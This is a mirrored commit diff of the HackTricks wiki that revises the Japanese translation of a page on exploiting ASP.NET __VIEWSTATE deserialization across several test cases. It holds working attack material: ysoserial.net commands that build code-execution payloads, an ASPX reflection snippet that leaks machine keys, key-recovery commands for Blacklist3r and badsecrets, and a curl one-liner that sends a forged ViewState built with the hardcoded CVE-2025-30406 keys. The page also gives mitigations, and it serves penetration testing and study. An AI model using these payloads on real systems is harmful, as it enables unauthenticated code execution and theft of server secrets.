mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
b135a9045d
commit
aa4e7d3fde
@ -1,4 +1,4 @@
|
||||
# __VIEWSTATEを秘密を知らずに悪用する
|
||||
# __VIEWSTATEの悪用(秘密を知らなくても)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,19 +10,19 @@ ViewState情報は、以下の特性またはその組み合わせによって
|
||||
|
||||
- **Base64**:
|
||||
- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
|
||||
- **Base64 + MAC (メッセージ認証コード) 有効**:
|
||||
- **Base64 + MAC(メッセージ認証コード)有効**:
|
||||
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
|
||||
- **Base64 + 暗号化**:
|
||||
- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。
|
||||
|
||||
## テストケース
|
||||
|
||||
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の要約は以下の通りです:
|
||||
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
|
||||
|
||||
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
|
||||
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する方法はありません。
|
||||
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
|
||||
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
|
||||
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
|
||||
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。
|
||||
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrue、または一方がtrueで他方がfalseの場合)でMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。
|
||||
|
||||
### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false
|
||||
|
||||
@ -39,7 +39,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
|
||||
|
||||
開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
|
||||
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると考えるかもしれません。\
|
||||
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると仮定するかもしれません。\
|
||||
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
||||
|
||||
viewstate と generator を直接提供することができます:
|
||||
```
|
||||
@ -79,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
|
||||
```
|
||||

|
||||
|
||||
または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることもできます:
|
||||
または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることもできます:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -100,7 +100,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**:
|
||||
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらの** パラメータは必要です:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -112,7 +112,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
|
||||
|
||||
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
|
||||
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
|
||||
|
||||
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
|
||||
|
||||
@ -153,7 +153,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
|
||||
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認してください。
|
||||
|
||||
### テストケース 6 – ViewStateUserKeysが使用されている
|
||||
|
||||
@ -166,11 +166,11 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
|
||||
|
||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
|
||||
|
||||
[さらに情報を確認するにはこちらをチェックしてください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
ターゲットのウェブルート内で**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
|
||||
ターゲットのウェブルート内に**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
|
||||
鍵を漏洩させる最小限のペイロードは、リフレクションを通じて内部の.NETクラスを利用します:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
@ -197,14 +197,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
この**key-exfiltration primitive**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました("ToolShell" – CVE-2025-53770/53771)が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
|
||||
この**キー抽出プリミティブ**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました("ToolShell" – CVE-2025-53770/53771)が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
|
||||
|
||||
## 2024-2025年の実世界の悪用シナリオとハードコーディングされたマシンキー
|
||||
|
||||
### マイクロソフトの「公開されたマシンキー」波(2024年12月 – 2025年2月)
|
||||
マイクロソフトの脅威インテリジェンスは、*machineKey*が以前に公的なソース(GitHub gists、ブログ投稿、ペーストサイト)で漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました。
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替える(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)ことで、このクラスの攻撃を軽減できます。 {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofoxのハードコーディングされたキー
|
||||
Kudelski Securityは、複数のCentreStack / Triofoxリリースが同一の`machineKey`値で出荷されており、ViewStateの偽造を通じて認証されていないリモートコード実行を可能にしていることを発見しました(CVE-2025-30406)。
|
||||
|
||||
ワンライナーエクスプロイト:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました – すぐにアップグレードするか、キーを置き換えてください。 {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user